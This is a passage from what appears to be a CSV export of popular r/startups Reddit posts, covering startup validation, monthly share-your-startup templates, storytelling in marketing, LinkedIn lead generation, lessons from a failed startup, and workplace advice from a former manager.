tbh so it's still a bit early to say definitively). ## Step 7: Go. ***The best time to do Customer Problem Stack Ranking was yesterday.*** Whether you've got a killer idea for a startup or you're trying to align your existing product with problems that your customers actually care about, Customer Problem Stack Ranking is a versatile and flexible solution that's ready to help. Let me know what you think or if you have any startup validation/customer discovery horror stories ✌️ \-- Edit 1: Thank you for all the love on this post, it has become on of the top 10 posts of all time on this subreddit. I built a free tool for Customer Problem Stack Ranking called OpinionX which you can find out more about [here](https://www.reddit.com/r/startups/comments/mhzsna/share_your_startup_april_2021_upvote_this_for/gtv405p?utm_source=share&utm_medium=web2x&context=3).",danielkyne,643,95,1617902566,/r/startups/comments/mmwphz/how_stripe_validates_ideas_for_new_products/,https://www.reddit.com/r/startups/comments/mmwphz/how_stripe_validates_ideas_for_new_products/,self.startups,True,,,,, mhzsna,startups,Share Your Startup - April 2021 - Upvote This For Maximum Visibility!,"[r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! Tell us about your startup in a comment within this submission. Follow this template: * **Startup Name / URL** * **Location of Your Headquarters** * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? 1 * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \---------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \---------- **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,631,732,1617296595,/r/startups/comments/mhzsna/share_your_startup_april_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/mhzsna/share_your_startup_april_2021_upvote_this_for/,self.startups,True,,,,, l9vap4,startups,Share Your Startup - February 2021 - Upvote This For Maximum Visibility!," [r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! Tell us about your startup in a comment within this submission. Follow this template: * **Name / URL** * **Location of Your Headquarters** * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? 1 * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \---------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \---------- 1 **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,617,753,1612155614,/r/startups/comments/l9vap4/share_your_startup_february_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/l9vap4/share_your_startup_february_2021_upvote_this_for/,self.startups,True,,,,, lgqjtw,startups,How storytelling can increase any product's value by ~7000%. Bonus: how Bryan Cranston taught me this.,"Bryan Cranston was the lead actor in my favorite TV Show of all time: Breaking Bad. This story is not about him. It’s about Rob. &#x200B; # Prologue While on my journey to build a $1B company (spoiler: I failed), I was lucky enough to travel the world demoing our video recognition technology. In January 2017 I landed in Seattle. It was a cold snowy day. I was visiting one of the most exciting headquarters of the technology world: Amazon. More specifically I was meeting IMDb’s Head of Business Development and Product team for a possible integration of our technology in their mobile App. For context, Amazon holds in its HQ several subsidiaries including IMDb (acquired in 1998) and Amazon Studios. I arrived at the building 10 minutes earlier and was invited to go up to the 10th floor. After registered my entrance at the lobby, I sat on the first couch I saw. I wanted to double-check the demo to make sure everything was working as expected. I was heads down on my computer and phone when I realized someone just sat in front of me. After glancing at the couch in front of me I immediately went back to my computer. Not for long; I just realized I knew the person sitting on the other side of the lobby… It was Bryan Cranston. &#x200B; # The Conversation “Bryan!” Was the word that came out of my mouth against my will. I almost yelled his name at him… What a poor start of any conversation. I was shocked to have one of my favorite actors in the whole world sitting in front of me. He looked at me surprised: “Yes man, what’s up?”. I quickly stumble on my next words saying that I loved his work and apologized for screaming his name awkwardly. After this initial weird interaction, he was kind and curious enough to ask me what I was doing with my phone… I answered I was scanning movies to test the demo I was doing to IMDb. And one of the most interesting conversations started to take place in Amazon’s HQ lobby. I started demoing the technology to Bryan; he even tried it himself. It was surreal. Interesting topics we talked about: * We were both there to “sell” our thing. Bryan was discussing “Sneaky Pete” extension and was humble enough to compare himself to me (in the sense that we were both there to make business with Amazon) * Potential technology benefits for Hollywood * That his job is to tell stories… At the time, I didn’t understand how his job is to tell stories, he is an actor and producer. I wanted to learn more. It went something like: >Me: What do you mean by that? Bryan: If you analyze the world, you will find that you have been told stories since you were born. You need stories to make sense of the world. Me: Hm, never thought it in that way. Bryan: And the most important thing: people pay billions of dollars to hear a story. I was absolutely shocked by the simplicity and accuracy of this statement. I knew this empirically but never thought about it for business or marketing. People pay billions of dollars to hear a story. &#x200B; # Enter Rob In 2009 a journalist named Rob Walker (alongside with writer Joshua Glenn) wanted to find out if storytelling was powerful enough to make people spend more money on ordinary / low-value objects. He named this project: Significant Objects. His strategy was brilliant: have creative writers invent stories about the objects and then post them on eBay and understand if the invented stories increase the value of the object measured by the eBay auction. He bought 200 objects with an average of $1 each. The objects couldn’t be clothing or anything that could be considered artwork. The results were mind-blowing. &#x200B; # The Results Some of my favorite results: * Indian Maden: bought at $0.99 | sold at $157.50 |15,800% valuation ✅ * Plastic Banana: bought at $0.25 | sold at $76 |30,300% valuation ✅ * Tile #4: bought at $1 | sold at $88 |8,700% valuation ✅ * Russian Figure: bought at $3 | sold at $193.50 |6,350% valuation ✅ * Mug: bought at $0.39 | sold at $31 |7,848% valuation ✅ * Button: bought at $0.50 | sold at $36.88 |7,276% valuation ✅ One of the most impressive facts about the Mug object — a massed produced mug — that proofs the whole concept, was that people could buy the exact same mug on eBay for a fraction of the price but decided to licit the one with the story. *Take some time to read some of the stories (e.g. the banana is in comics format). They are brilliant!* This whole project’s conclusion is exactly what Bryan was referring to… People pay billions of dollars to hear a story. &#x200B; # Lessons Learned Everyone knows storytelling is powerful but few people think of it as a revenue propeller for their businesses. Storytelling is the best marketing you can ever have. Rob’s project shows us that if you tell a story about literally anything (e.g. irrelevant day to day objects) you can increase its value orders of magnitude. That’s how our mind works. It needs a story. &#x200B; PS — if you came thus far you are the living proof storytelling is a magnet. Go use it for your products/projects! &#x200B; ***Hope you enjoyed this story about storytelling :) Let me know if you have any questions.***",johndamaia,612,108,1612951295,/r/startups/comments/lgqjtw/how_storytelling_can_increase_any_products_value/,https://www.reddit.com/r/startups/comments/lgqjtw/how_storytelling_can_increase_any_products_value/,self.startups,True,,,,, n0hs2l,startups,LinkedIn is a cringefest but it works for B2B startups - Here's what you need to do to generate leads and get clients,"I recently sold my SaaS company and we got about half of our clients via LinkedIn. This is not a pitch about using a LinkedIn automation service or hiring someone to send templated messages with a bot. I'll provide you with some tips and tactics on how you can use LinkedIn to your benefit to book meetings, drive traffic to your website, and get clients. Like most things, the more work you put into it, the better results you'll see. You may know some of this, some things you may not know are about gaming LinkedIn's algorithm, LinkedIn Pods and how to leverage the Reciprocity Principle. 1. Post Consistently It's a pain in the ass to post on a regular basis but it's key to building a following. This is hard, I struggled with it for a variety of reasons. Knowing what I know now, I would have dedicated more time to LinkedIn instead of testing other channels because our buyer persona is active on LinkedIn. And I would have created a content calendar and not thought too much about what I posted to ensure I was active most days. This is the hardest part but even if you're not posting 5 days a week, you can still get leads and clients. I had to remove the link to the post ideas :( but try to post on a regular basis. It's key. 2. Be Known For Something Build a personal brand on LinkedIn. It's not complicated. Post about whatever your niche is and what you know well. You should be an expert on something, let the world know. Give away your expertise. And remember, even the basic stuff you know has value. The 101 knowledge may have wider appeal than the more 401 stuff. Don't overestimate your prospects. 3. This Is Key to Remember (and will help you in all aspects of sales) Nobody cares about your business. They care about themselves and only themselves. Once you realize that the person on the other end is self-centered when it comes to sales interactions, and rightfully so, this will help you approach things so you benefit them and rejection will sting less.Never connect with someone and immediately pitch them. Ever. It’s not effective and it shows you only care about yourself. 4. Gaming LinkedIn's Algorithm With Your Posts LinkedIn cares about ""dwell time"" on posts in the feed. The longer people spend reading your posts, the more they'll get promoted by LinkedIn. This means writing a post with a hook before the ""see more..."" button to get people to click ""see more.."", write the post so it's spaced out line by line, some call this ""broetry"" but it works, and longer posts usually perform better. Also, if it makes sense, ask a question or have a CTA at the end of the post to drive engagement. Limit the number of links, max of two links, none is ideal. LinkedIn wants people to stay on LinkedIn, add a link in the comments after you post or edit the post after it's posted and include a link in the body. Limit hashtags to 3-5, I prefer to select hashtags with large followings that my buyer persona would follow. Posts that you ""share"" do not perform well so post the original. Video doesn't perform as well as text posts in my experience. Respond to comments and like the comments. Removed - linkedin talks about this on their blog 5. Profile Basics Make your profile a landing page more than a resume. Leverage the featured section with your two best items, ideally short demo videos. Your headline should not be your job title, a formula you can use is I help X with Y by Z, with z being what differentiates you. Get a decent profile pic. Most B2B buyers will check out your profile before buying. 6. The Reciprocity Principle is powerful! Do giveaways related to your expertise or offering. We built a search engine designed for b2b salespeople. What we did was post on LinkedIn an offer for ""free research reports"" (using our own product) then our buyer persona would message us asking for a free research report. This was a worthwhile giveaway because we gave away something people would pay for. After we sent the report, they would ask us how we did it, if they could get a demo, sign up, refer us to a decision maker, or simply thank us. Some of the people who thanked us ended up becoming unofficial ambassadors, tagging us in posts and recommending us to other customers. What's something you can give away that's related to a problem you solve? [https://en.wikipedia.org/wiki/Reciprocity\_(social\_psychology)#The\_power\_of\_reciprocity](https://en.wikipedia.org/wiki/Reciprocity_(social_psychology)#The_power_of_reciprocity) 7. Repurpose content You will post text statuses that do well. You can turn those into mini guides and use them as giveaways in the future. This can also be turned into blog posts, tweets, etc. And you can re-use LinkedIn posts. In fact, two statuses I posted turned into blog posts which ended up ranking in the top 3 on Google. I used a well known Australian company (removed) which is your friend. You can make a guide that people will value in 5-10 minutes. Do not spend a ton of time making it. The content is more important than the design. The design will be good enough. 8. Build Your Network I prefer not to write messages when adding people because most people will accept based on your profile, not your message. If you can write a quality, personalized message, go for it. The ROI is not there, in my experience. Add people on a regular basis who fit your buyer persona. Additionally, write thoughtful comments on posts by people in your industry who have high engagement. You can also ""follow"" people and engage with their content. This is a good way to build a genuine connection. Add people who engage with your posts. 9. Some LinkedIn Truth Despite what they may say, a lot of the ""thought leaders"" used LinkedIn pods early on to build a following. They did post consistently but they helped each other out or used random pods. To this day, people who get ridiculous engagement are liking and commenting on each other's posts. You can post your status in a few groups/slack chats that are relevant to your space. They often have channels for this. I wont name names but there are people now who get hundreds, sometimes thousands of likes because they got started this way. Lame content does well. The guy who interviewed the homeless, drug addict who didn't shake their hand during the interview but is now the CEO gets a lot of likes and comments, probably tens of thousands of views. That's good for exposure but not necessarily for your business. Highly engaged niche audiences are more valuable. 10. Your LinkedIn Competition is Noise The feed is filled with shitty posts and inboxes that are filled with pitch after pitch. NEVER pitch someone after you connect. It's a terrible way to do business. If you want to message someone, personalize it (you'll stand out) or provide them something of value without asking for anything. Play the long term game. (removed) LinkedIn Sales Navigator is worth it for the search functionality. The LSN messages are worth close to zero. They just don't convert. So I wouldn't recommend buying it if you wanted to send more messages. 11. Other things... Make your profile public so you get a touch point when you view someone's profile. There are tools to automate viewing of profiles that violate linkedin's ToS but can be worth it to drive views back to your profile. People will be curious about who is ""StartupSalesGuy"" when they see I viewed their profile, view my profile, view my featured items, go to my website. LinkedIn was the #1 referral source for our website, btw. Anyway, that's a lot to take in for a post. Happy to answer any questions and if you sell anything in the B2B space and want to get started using LinkedIn, get started today. It's a great platform when used properly. But still a cringefest.",startupsalesguy,604,102,1619624853,/r/startups/comments/n0hs2l/linkedin_is_a_cringefest_but_it_works_for_b2b/,https://www.reddit.com/r/startups/comments/n0hs2l/linkedin_is_a_cringefest_but_it_works_for_b2b/,self.startups,True,,,,, 57cknb,startups,My startup bombed and I lost everything (here’s what I learned),"hey so this was a pretty shitty time for me obviously so I never shared any of this until now, but hope this helps some of you that are in a startup or want to start one. this is how my startup failed, how i lost all my savings (around $50,000) I invested into it, my car and pretty much everything of value I owned, my co-founder/friend, and my health — all in about 10 months and what I learned from it. some context: - I was a non-techie founder - this happened about 2-3 years ago when I was 22 - my 50k in savings came from a combination of online marketing stuff I was doing but mainly from a contract I had to do all the marketing stuff for the launch of a different SaaS company (not really relevant to this story but figured it would be asked) - the name of my startup or what it was about is also not really relevant here, since my f ups can be applied to whatever startup you are in or thinking about doing Alright here are my biggest mistakes and what I learned from them: ____________ **1) Don’t limit yourself to starting only what you think could be a billion dollar company** So with the 50k I had, I wanted to build not just *any* type of tech company… but the next Facebook, Instagram, Airbnb, etc. — point is something “big” with millions of users. If you’re cringing right now, I know.. same. This was my first mistake. I mentally dove into that “silicon valley” dream/lifestyle and any great idea I had for a software that could actually help people but would only make say 5MM in annual revenue wasn’t good enough. I only wanted to work on something that I thought could be “epic” (i.e. millions of users, top 10 tech company) So many things wrong with this, but hope you get the point of how this isn’t the right mindset. Lesson I learned - you don’t need to chase the next “big thing” to have a successful tech company, and it could grow to that size without you initially thinking it would have. ____________ **2) Choosing your co-founder** So I chose my college roommate to be a co-founder. Great guy, but he had no idea about marketing, no dev/design skills, wasn’t investing any money, and was just willing to help. As a lonely entrepreneur I thought it would be a great idea to work side by side with someone every day and could use the help. I gave him a %, but after like 6 months of work with out any pay and I’m the one investing all the money he just easily backed out and went on his way and I obviously can’t give up just like that. We obviously didn’t get along after that and I lost a friend/co-founder who had no business being a co-founder in the first place. In the end, it was a lose/lose, my fault for making him co-founder, and lost a friend. Lesson - if you are going to get a co-founder, actually choose one for the right reasons. Avoid friends/family if possible. ____________ **3) Actually getting started** Once I had my idea, I spent about 2 weeks deciding on a name/domain I should choose, then another 2 weeks getting a logo made and opening up an LLC. Did all of this before I was even clear exactly on what I wanted to build or if anyone even wanted it. Your startup will pivot in most cases before you make your MVP so the name and logo might not even be relevant. Time/money was used up, it shouldn’t have been the priority when I was first starting out and set me back a bit. So before you choose a *business name, domain, make a logo, or legally open up a business* (all the stuff most people get wrapped up with before starting) — get started by just locking in your initial team, getting clear on what you want to build, validating it, initial wireframes and your off to the races. A lot of work in that last sentence and everyone has their own way of getting started but the point is you could do all of that and more before even choosing a name. Don’t let the “formal” stuff hold you back. ____________ **4) Get clear on what your actually making.** For the longest time I wouldn’t be able to describe what I was making in 1-2 sentences. This is kind of my own made up rule, maybe it exists already idk, but rule of thumb: if you can’t describe your startup in 1-2 sentences to someone not in your market and have them understand what it is, you’re not clear on what you’re building and is a sign of bigger problems to come. ____________ **5) Get clear on WHO you’re making this for and how they can be reached.** This was one of my bigger f ups. Fast forward 8 months to when I had something ready to get my first users.. I knew it was for *business owners* (B2B) but didn’t realize that they are that much harder to reach (for me anyways) than consumers, and I also had the type of platform that I had to grow city by city (f’ing nightmare). After a couple days of going door to door to businesses I could start to see how this was going to be a problem.. I didn’t account for the time/costs it will take to reach my ideal customers. It was a big smack in the mouth. So figure out WHO you are making this for and how you’re going to reach them before you start. Just take that into account so you have the right expectations and you can plan/budget for it. ____________ **6) Talk to your ideal customers / “Validation”** One of the most valuable things I ever did was go to a local business owner (my ideal customer) and sit down to have jerk chicken with him in his restaurant. He told me what he would like my software to have, and what he wouldn’t like it to have. He told me the best features I could possibly put into my software.. essentially told me what I should build because he obviously would know what’s best since it’s for HIM not me. Bad News: This was 8-9 months in after I built something pretty advanced already, and basically used up all my savings. What I did with him is something I should have done as many times as I can with multiple business owners before any code was even written. Good News: That jerk chicken was on point and he gave it to me for free. ____________ **7) Don’t be a feature whore** I held back launching my MVP (minimum viable product, prototype, etc.) because I just kept adding *“1 more feature”* all the time. Since to me, if it just had this 1 more great feature it would make all the difference in the world. It ran up my costs and time before launching it, and defeated the whole concept of an MVP in the first place. Just add all your ideas for features (most of which you should be getting from your ideal customers) to a bucket list and actually launch an actual *“minimum viable product”* that you probably won’t be totally proud of. Will save you time/money. ____________ **8) Go lean. like Tarzan lean.** For the love of (whatever you love a lot) PLEASE freken do this. Over 90% of my savings was paid to developers/designers for the build of it. And worse, I was paying by hour. Paying for dev/design work by *hour* for a new startup is an insane concept to me now. There are always gonna be bugs, something that doesn’t work, something that needs to be added, etc. If you are paying for a team or plan to, I would avoid paying by hour and just put them on a salary and set expectations for tasks that should be completed that week/month with them. And ideally, especially if you’re a non-tech founder like me, PARTNER. Partner with a dev or whoever you need to make it work for equity, that’s the only way I’ve ever successfully been able to be lean and build a SaaS or any software with minimum upfront investment. ____________ **9) Don’t waste money on legal stuff.** ok that sounds like terrible advice (and I’m not a lawyer so do your own thing) but what I mean is I spent about $3,000 on a terms of service and privacy policy before my MVP was even built… yah, I know… My startup had to deal with payment processing (at least initially before I pivoted) so I thought I needed it. Point is, in most cases you can probably get a way with free (or cheap) basic legal docs. online to get started. ____________ **10) Funding** don’t count on funding/investment to get initial users/survive. I went through hell and back to try to get funding. Creating pitch decks, getting meetings with investors, the whole works. At one point, the majority of my time was spent just looking for funding for my startup instead of actually working on it. I needed funding to get users/traction. Users/traction (among other things) was needed to get funding but you can see how this could be an issue. Lesson here is, unless you have the funds or team to get to traction then don’t start it. (there are exceptions to everything but this just a rule I follow now for the best chance of success) ____________ **11) Advertising as your only revenue model is sketchy.** So I thought I would just make my whole platform free for everyone and just eventually have ads on it when I would get “millions of users” and then, boom, we’re all rich.. Investors were like LOL, have a nice day (especially if you have poor traction). And yah it’s just something I avoid now.. if you’re going to make something that helps people, *charge for it.* Note: I’m gonna get crap about this probably.. I’m not saying this can’t work, obviously it has worked for a lot of companies and continues to. And I don’t know how I would prove this but I would bet that a higher % of startups that rely on their business model to be revenue from advertising fail more than those that actually charge for some version of their software. if that makes sense at all… So point being, planning to sell ad space as your *only* revenue model for your startup is something I would try to avoid. ____________ **12) Caution with “brain drugs”** This is probably my most embarrassing mistake to share, and I think it fits here since your mind and health needs to be right to make your startup work.. I fell into the trap of thinking “brain drugs” would help me get ahead.. From various nootropic stacks, to modafinil, to stuff like adderall or vyvance. I tried different types and ended up becoming reliant on it. Sure I was able to grind out 15 hour days no problem.. then it turned to 24 hours straight, then 40, then before I knew it I went a couple days without sleeping, had a panic attack and ended up in the hospital. Dialed it down a bit but still was going at it too hard. So pros.. yah I felt like a God and I would crank out epic amounts of work. Cons - besides the anxiety I would get and panic attack mentioned above, the work that I did *wasn’t better*, it was just a lot. And most of the time it was useless work, or work or tasks that weren’t a priority. It affected my judgement and priorities of what I should be working on. (Note, most nootropic stacks are probably OK, but the modafinil, and harder stuff like adderall is what I’m mainly referring too). On that note, at the time there wasn’t a damn thing I could read that would make me stop taking any of that so I don’t expect you to stop immediately if you’re taking it (even though I hope you would) but if you are thinking about starting to take anything like this, I would stay away from it and just be you. You’re more than enough to build something great. ____________ Alright that about wraps it up. In the end (after about 10 months) I had burned through my entire savings and cash from everything I had sold to try to make it work - my car, golf clubs, etc., I lost a friend/co-founder, and was pretty unhealthy mentally and physically. Eventually I buried this startup and moved on.. I ended up taking a couple months off before starting another SaaS with a couple friends, and with less than $1k invested between us, 3 months in we were live with sales and it was acquired 6 months after that. This specific epic fail however and lessons I learned from it (although there have been many and I’m sure more to come) really helped me with some of the wins I’ve had and hope it does the same for you. Let me know if you have any questions and best of luck with your startups!",divbase,579,140,1476391683,/r/startups/comments/57cknb/my_startup_bombed_and_i_lost_everything_heres/,https://www.reddit.com/r/startups/comments/57cknb/my_startup_bombed_and_i_lost_everything_heres/,self.startups,True,,,,, lvge3w,startups,Share Your Startup - March 2021 - Upvote This For Maximum Visibility!,"[r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! Tell us about your startup in a comment within this submission. Follow this template: * **Startup Name / URL** * **Location of Your Headquarters** * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? 1 * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \---------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \---------- 1 **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) &#x200B; * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,575,700,1614623119,/r/startups/comments/lvge3w/share_your_startup_march_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/lvge3w/share_your_startup_march_2021_upvote_this_for/,self.startups,True,,,,, 74pms1,startups,My manager (who I loved) recently left my company. I summarized some of my notes from our many conversations. Here they are: I wish someone wrote this for me when I started.,"*I was reviewing some notes from 1-1 meetings that me and my manager Dave used to have, and I thought I'd summarize a bunch of the repeated talking points we've had over the years. Here's some of what I've learned about being a competent professional.* # Identify and focus on your top priorities – because if you don't, wtf are you doing? **Is the top priority the top priority?** What's the single most important thing you need to be doing? If you don't have an answer to this, you should drop everything and figure out what the answer is. Having an answer here forces clarity and focus. Not having an answer is dangerous – it guarantees that you'll be working on unimportant things and wasting your precious time. There will always be an endless stream of things to do. It'll be tempting to do whatever is easiest, or most fun, or most familiar. But this is a trap that will screw you over in the long run. It's better to make 5-10% progress on the most important thing than to finish lots of tasks that don't actually move the needle. **What are you accountable for?** Everybody in an organization should own something. Ideally, it should be a metric that is tied to your top priority. If it isn't, you should discuss it with your manager or boss and establish what your top priority really is. Once you've settled on a metric (and you usually need to have some sort of counter-balancing metric, to try and mitigate the problem of perverse incentives), you'll want to make sure that you know as much as possible about how to make a positive dent in this metric. **Dominate your area of responsibility.** You want to be really good at the thing that you're supposed to be handling. Sounds kinda obvious, but sometimes it can be tempting to try to do a bunch of secondary things. Go back to point 1 – keep the main thing the main thing. **Make your goals and targets precise.** If things are vague or ambiguous, set aside time to make them precise. Don't work with ambiguous plans – it's a recipe for distraction and scope creep. Learn to identify vagueness in your own thinking, writing and communications, and weed it out. # Manage yourself like an important, valuable resource – because you are > ""The first principle is that you must not fool yourself and you are the easiest person to fool."" – Richard Feynman **Be honest about what you don't know.** Be honest with yourself, most importantly. The clearer you are about this, the better positioned you will be to learn and improve. As a bonus, you'll find that being intellectually honest in a candid way encourages people to be honest with you in turn. It just makes for a healthy atmosphere. Practice communicating your uncertainty in a constructive, inviting way. It's refreshing to be around people like that. **Have a schedule and respect it.** I hated calendars and timetables as a kid, and spent many years dealing with subconscious stress of having to deal with any sort of deadline. But truths are true whether we like them or not: We have limited time and an unlimited set of things to do. In the absence of good routines, we fall into bad ones. If you're not deciding in advance how you're going to spend your time and energy, then other things will decide for you – the urgency of an interruption from somebody, the ease of an unimportant task. This compounds. After years of reflection and oscillation, I came to realize that my issue wasn't with schedules per se – it was with being forced to do things that I didn't want to do. I just subconsciously had a negative association with calendars, due dates and so on. If you're like me, this takes a lot of work to undo. Start by making really small, simple plans and then get them done. Write down something that you can do in 5 minutes, then do it, and scratch it off. Do this over and over and get better at it, and add more time. It gets more complex as it gets larger, like a video game. It's actually quite interesting and exciting once you reframe it this way. You learn a lot more about yourself and the world around you. **Take time off.** You are a resource and you need to recharge. Don't burn out. Think long term. When I started working, I felt like I was given an opportunity I didn't deserve. I didn't feel qualified. I felt like I was always behind on my work. So I kept deferring and postponing when I'd eventually take a vacation. On retrospect, this was a hilariously bad idea, and I regret it. I would have been happier, healthier, and have gotten much more done if I simply bit the bullet and scheduled my time off in advance. **Reflect and review on your past work.** Analyze your past work to figure out what worked, what didn't, what went well, what didn't... you should be doing this regularly, on your own. I've always been a little bit sloppy with this – I don't always take notes, and when I do, I don't always review them. If I could start over again, I would work to be more systematic and disciplined about this.( I'm writing this blogpost now because I was reviewing my 1-1 doc.) **Articulate your processes.** This is helpful at multiple levels. First of all, simply taking something out of your brain and putting it on paper is an incredibly useful habit. It forces you to figure out what you really mean. What are you trying to achieve? How do you make decisions? When you articulate your processes, you can analyze them. You can look for weak points and improve them. It's like watching a replay of yourself. You can share your processes with others, and get feedback. **You are in charge of yourself.** Even if you have great managers, you ultimately need to take responsibility for your own learning, your own execution, your own growth. Looking back, I think I spent most of my first 3-4 years in a sort of reactive mode (rather than proactive). I did have great managers who gave me lots of great targets, advice, context, structure and so on. And maybe they even spoiled me a little, because it took me a few years to think, ""Well, damn, I gotta set loftier goals for myself, and meet them."" Unless you have a crazy boss or manager, nobody is going to push you as hard as you can push yourself. (I don't mean overwork yourself in terms of number of hours, I mean challenge yourself in terms of pushing yourself out of your comfort zone. Trying new things, learning new things that are outside your immediate job scope, etc.) **Set aside time for learning.** When you find good content about your field, bookmark it for later, and go through it at a regular interval. Weekly is pretty good. If you're doing a bunch of reading and learning, share your findings with someone else. This helps you understand. Implement your learnings. Set monthly and quarterly goals. # Always take pains to communicate effectively – your impact on your team members is highly consequential **Communicate early, communicate often.** In my earlier days, I was often self-conscious and trying to figure out everything by myself. If I owed somebody something, I tried to figure out everything and get it all done first before passing it on. If I ran into any difficulties, I would either go a little nuts, or I'd procrastinate until I didn't have much time left, and then get it done in a panic. Show your work. Share your sketches and drafts. You need to build trust and rapport with your team so you can feel comfortable doing this. Early-stage feedback is much more useful and actionable than late-stage feedback. Sometimes simply asking a few questions or chatting about something in an open-ended way can lead to superior ideas and solutions that you didn't expect. **Ask clarifying questions.** Everything is vague to a degree you don't realize. So make an effort to make things precise. Being clear about exactly what is expected is very important. People having different expectations, different understandings of a situation, interpreting vague instructions differently, etc – all of these are sources of lots of friction and frustration. So it's worth spending a lot of time and energy making sure everyone is aligned on whatever you're doing. **Lean on your team; ask for help.** Real life isn't a closed-book examination, where you have to get everything done right yourself, in isolation. Ask for help if you need it. This may vary a little depending on your company culture and personality. Some people might be intrusive and demanding. But I generally get the sense that smart, respectful people tend to err on the side of caution – not wanting to interrupt others. That said, when you ask for help, be simple and clear about it. ""Hey, when you have a moment – I need some fresh eyes to look at my slides for a few minutes and offer copy suggestions"". Don't interrupt people with open-ended non-requests, that's disrespectful. Give people a very clear ask, and sometimes they'll even be grateful for the brief distraction + chance to help move something along. **Be encouraging and supportive.** It makes a difference. It can make all the difference. # Always Be Peopling – organizations and industries are made of people; build relationships with them **Always be networking.** It's easy to fall into a pattern of thinking that you need to focus on whatever's in front of your face. There's always going to be more work to do. You need to be able to zoom in and out. Meet people who are in similar roles as you, doing work similar to what you're doing. This will help you do your job better. And it's also quite pleasurable and heartening in its own right, 